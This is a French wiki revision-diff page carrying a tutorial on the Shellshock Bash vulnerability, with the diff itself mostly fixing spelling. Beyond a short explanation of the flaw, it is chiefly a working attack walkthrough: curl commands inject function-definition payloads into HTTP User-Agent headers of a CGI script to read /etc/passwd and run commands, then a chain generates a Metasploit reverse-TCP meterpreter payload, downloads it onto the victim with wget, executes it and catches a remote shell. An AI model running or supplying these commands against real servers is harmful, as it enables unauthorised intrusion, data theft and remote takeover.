Outils pour utilisateurs

Outils du site


appsysteme:bash_-_shellshock

Différences

Ci-dessous, les différences entre deux révisions de la page.

Lien vers cette vue comparative

Les deux révisions précédentes Révision précédente
Prochaine révision
Révision précédente
appsysteme:bash_-_shellshock [2016/02/02 08:08]
arkinar
appsysteme:bash_-_shellshock [2016/07/04 08:38] (Version actuelle)
Ligne 11: Ligne 11:
 La vulnérabilité touche l’interpréteur en ligne de commande Bash qui est utilisé comme Shell par défaut par les systèmes d’exploitation Linux et Unix. Soit un gros paquet de monde. La vulnérabilité touche l’interpréteur en ligne de commande Bash qui est utilisé comme Shell par défaut par les systèmes d’exploitation Linux et Unix. Soit un gros paquet de monde.
  
-Elle est aussi appelé ​Bashdoor et a été découverte en septembre 2014.+Elle est aussi appelée ​Bashdoor et a été découverte en septembre 2014.
  
 __Explication__ __Explication__
Ligne 17: Ligne 17:
 Bash permet de faire passer des fonctions vers le processus enfant. Les droits et contextes d'​exécution sont identiques à l'​utilisateur,​ système ou non. Bash permet de faire passer des fonctions vers le processus enfant. Les droits et contextes d'​exécution sont identiques à l'​utilisateur,​ système ou non.
  
-Le problème ​est que :+Le problème ​réside dans le fait que :
  
-De nombreux programmes utilisent le shell par défaut pour passer des variables d'​environnement entre leurs processus. Le contexte change  : ce n'est plus un utilisateur local et de confiance qui utilise cela, mais une multitude de programmes, parfois distants.+De nombreux programmes utilisent le Shell par défaut pour passer des variables d'​environnement entre leurs processus. Le contexte change  : ce n'est plus un utilisateur local et de confiance qui utilise cela, mais une multitude de programmes, parfois distants.
  
 Ces programmes ne valident pas eux mêmes les données qu'ils donnent à Bash, et ne font souvent que passe-plat. Dans ce contexte, ce qui était auparavant une fonctionnalité se transforme alors en faille. Ces programmes ne valident pas eux mêmes les données qu'ils donnent à Bash, et ne font souvent que passe-plat. Dans ce contexte, ce qui était auparavant une fonctionnalité se transforme alors en faille.
Ligne 35: Ligne 35:
 **Exploitation** **Exploitation**
  
-Le principe est d'​envoyer des commandes à distance dans les entêtes HTTP pour qu'​elle soit interpréter ​par le serveur.+Le principe est d'​envoyer des commandes à distance dans les entêtes HTTP pour qu'​elle soit interprétées ​par le serveur.
  
 Commençons simplement : Commençons simplement :
Ligne 41: Ligne 41:
 <​code>​curl -H User-Agent: () { :; }; /bin/eject; http://​mon_serveur_faillible.com </​code>​ <​code>​curl -H User-Agent: () { :; }; /bin/eject; http://​mon_serveur_faillible.com </​code>​
  
-curl est une commande ​linux permettant de forger des requêtes HTTP. +curl est une commande ​Linux permettant de forger des requêtes HTTP. 
  
 L'​option -H permet de personnaliser l'​entête HTTP avant qu'​elle soit envoyées au serveur. L'​option -H permet de personnaliser l'​entête HTTP avant qu'​elle soit envoyées au serveur.
Ligne 52: Ligne 52:
 http://​mon_serveur_faillible.com/​cgi-bin/​status</​code>​ http://​mon_serveur_faillible.com/​cgi-bin/​status</​code>​
  
-Cette commande ​quand à elle aura pour effet d'​afficher le contenu de /etc/passwd de la machine distante. ​+Cette commande ​quant à elle aura pour effet d'​afficher le contenu de /etc/passwd de la machine distante. ​
  
-L'​option -A nous permet d’accéder au contenu de l'​user-agent qui sera contenu ​dans la requête HTTP.+L'​option -A nous permet d’accéder au contenu de l'​user-agent qui sera visible ​dans la requête HTTP.
  
 <​code>​curl -A ;() { :;}; echo ;​Content-type:​ text/plain; echo; /usr/bin/id ; http://​mon_serveur_faillible.com/​cgi-bin/​status</​code>​ <​code>​curl -A ;() { :;}; echo ;​Content-type:​ text/plain; echo; /usr/bin/id ; http://​mon_serveur_faillible.com/​cgi-bin/​status</​code>​
Ligne 68: Ligne 68:
  <​code>​nc -l 333 </​code>​  <​code>​nc -l 333 </​code>​
  
-L'​option -l permet d'​écouter sur le port 333 (c'est bien un L et non I majuscule)+L'​option -l permet d'​écouter sur le port 333 (c'est bien un L, comme listen ​et non I majuscule)
  
 Dans un autre terminal : Dans un autre terminal :
Ligne 84: Ligne 84:
 Pour cette solution nous aurons besoin du framework Metasploit et de Apache. Pour cette solution nous aurons besoin du framework Metasploit et de Apache.
  
-Metasploit est framework permettant de simplifier les tests de pénétration suite aux vulnérabilités découverte. Il y a de très bon bouquin ​dessus pour ceux que sa intéresse.+Metasploit est framework permettant de simplifier les tests de pénétration suite aux vulnérabilités découverte. Il y a de très bon livre dessus pour ceux que ça intéresse.
  
-On va d'​abord commencer par trouver un endroit où l'on peut écrire sur le serveur+On va d'​abord commencer par trouver un endroit où l'on peut écrire sur le serveur.
  
 <​code>​curl -A ;() { :;}; echo ;​Content-type:​ text/plain; echo;  /bin/ ls -al /​home/​notre_user ​ ; http://​mon_serveur_faillible.com/​cgi-bin/​status</​code>​ <​code>​curl -A ;() { :;}; echo ;​Content-type:​ text/plain; echo;  /bin/ ls -al /​home/​notre_user ​ ; http://​mon_serveur_faillible.com/​cgi-bin/​status</​code>​
Ligne 94: Ligne 94:
 Maintenant nous allons utiliser msfpayload qui est un des outils de la suite Metasploit. Maintenant nous allons utiliser msfpayload qui est un des outils de la suite Metasploit.
  
-Il permet de générer des payloads(exécutable qui va nous permettre dans notre cas d'​établir la connexion inverse)+Il permet de générer des payloads (exécutable qui va nous permettre dans notre cas d'​établir la connexion inverse).
  
 Pour le générer : Pour le générer :
Ligne 114: Ligne 114:
 Copier le fichier lbdoor dans /var/www/ Copier le fichier lbdoor dans /var/www/
  
-Nous allons le télécharger sur le serveur ​de la vulnérable :+Nous allons le télécharger sur le serveur vulnérable :
  
 <​code>​curl -A;() { :;}; echo ;​Content-type:​ text/plain; echo;  /bin/ wget http://​mon_serveur/​lbdoor -P /​home/​notre_user ​ ; http://​mon_serveur_faillible.com/​cgi-bin/​status </​code>​ <​code>​curl -A;() { :;}; echo ;​Content-type:​ text/plain; echo;  /bin/ wget http://​mon_serveur/​lbdoor -P /​home/​notre_user ​ ; http://​mon_serveur_faillible.com/​cgi-bin/​status </​code>​
  
-On lui ajoute les droits d’exécution ​:+On lui ajoute les droits d’exécutions ​:
  
 <​code>​curl -A ;() { :;}; echo ;​Content-type:​ text/​plain;;​ echo;  /bin/chmod +x /​home/​notre_user/​lbdoor ; http://​mon_serveur_faillible.com/​cgi-bin/​status</​code>​ <​code>​curl -A ;() { :;}; echo ;​Content-type:​ text/​plain;;​ echo;  /bin/chmod +x /​home/​notre_user/​lbdoor ; http://​mon_serveur_faillible.com/​cgi-bin/​status</​code>​
Ligne 128: Ligne 128:
 <​code>​msfconsole</​code>​ <​code>​msfconsole</​code>​
  
-On sélectionne le module qui nous permettra d’écouter les connexions ​entrante ​:+On sélectionne le module qui nous permettra d’écouter les connexions ​entrantes ​:
  
 <​code>​use exploit/​multi/​handler</​code>​ <​code>​use exploit/​multi/​handler</​code>​
  
-On lui stipule ​qu'​elle ​type de connexion il doit attendre :+On lui stipule ​quel type de connexion il doit attendre :
  
 <​code>​set PAYLOAD linux/​x86/​meterpreter/​reverse_tcp</​code>​ <​code>​set PAYLOAD linux/​x86/​meterpreter/​reverse_tcp</​code>​
  
-On lui stipule sur qu'​elle ​host il doit attendre ​la connexion :+On lui stipule sur quel host il attend ​la connexion :
  
 <​code>​set LHOST 192.168.1.1</​code>​ <​code>​set LHOST 192.168.1.1</​code>​
  
-On lui stipule sur qu'​elle ​port il doit attendre la connexion :+On lui stipule sur quel port il doit attendre la connexion :
  
 <​code>​set LPORT 4443</​code>​ <​code>​set LPORT 4443</​code>​
Ligne 146: Ligne 146:
 Et on exécute : Et on exécute :
  
-<​code>​run<​c/ode>+<​code>​run</​code>
  
 Attention il faut bien donner les mêmes informations que lorsque le payload a été généré. Attention il faut bien donner les mêmes informations que lorsque le payload a été généré.
Ligne 159: Ligne 159:
 <​code>​curl -A ;() { :;}; echo ;​Content-type:​ text/plain; echo;  /bin/bash -c ;/​home/​notre_user/​lbdoor;​ ; http://​mon_serveur_faillible.com/​cgi-bin/​status</​code>​ <​code>​curl -A ;() { :;}; echo ;​Content-type:​ text/plain; echo;  /bin/bash -c ;/​home/​notre_user/​lbdoor;​ ; http://​mon_serveur_faillible.com/​cgi-bin/​status</​code>​
  
-Vous devriez voir ce texte apparaitre dans votre terminal metasploit si tout c'est bien passé.+Vous devriez voir ce texte apparaitre dans votre terminal metasploit si tout s'est bien passé.
  
 {{ :​appsysteme:​connexion_metasploit-2.png?​nolink |}} {{ :​appsysteme:​connexion_metasploit-2.png?​nolink |}}
Ligne 166: Ligne 166:
 Vous avez désormais accès à une session meterpreter sur la machine distante. Vous avez désormais accès à une session meterpreter sur la machine distante.
  
-Si vous souhaitez obtenir un terminal , il vous suffis ​de taper "​shell"​+Si vous souhaitez obtenir un terminal , il suffit ​de taper "​shell"​
  
 {{ :​appsysteme:​meterpreter.jpg?​nolink |}} {{ :​appsysteme:​meterpreter.jpg?​nolink |}}
  
-L'​outil meterpreter est puissant ​il embarque toute une multitude de code pour le post exploitation.+L'​outil meterpreter est puissant ​et embarque toute une multitude de code pour le post exploitation.
  
 Pour plus d'info un site que je recommande [[http://​sitedugaci.com/​30/​4/​tutoriel/​chapitre/​meterpreter.html]] Pour plus d'info un site que je recommande [[http://​sitedugaci.com/​30/​4/​tutoriel/​chapitre/​meterpreter.html]]
  
 Source :[[ https://​www.youtube.com/​watch?​v=R3rs8hdXqso]] Source :[[ https://​www.youtube.com/​watch?​v=R3rs8hdXqso]]
appsysteme/bash_-_shellshock.1454400516.txt.gz · Dernière modification: 2016/07/04 08:37 (modification externe)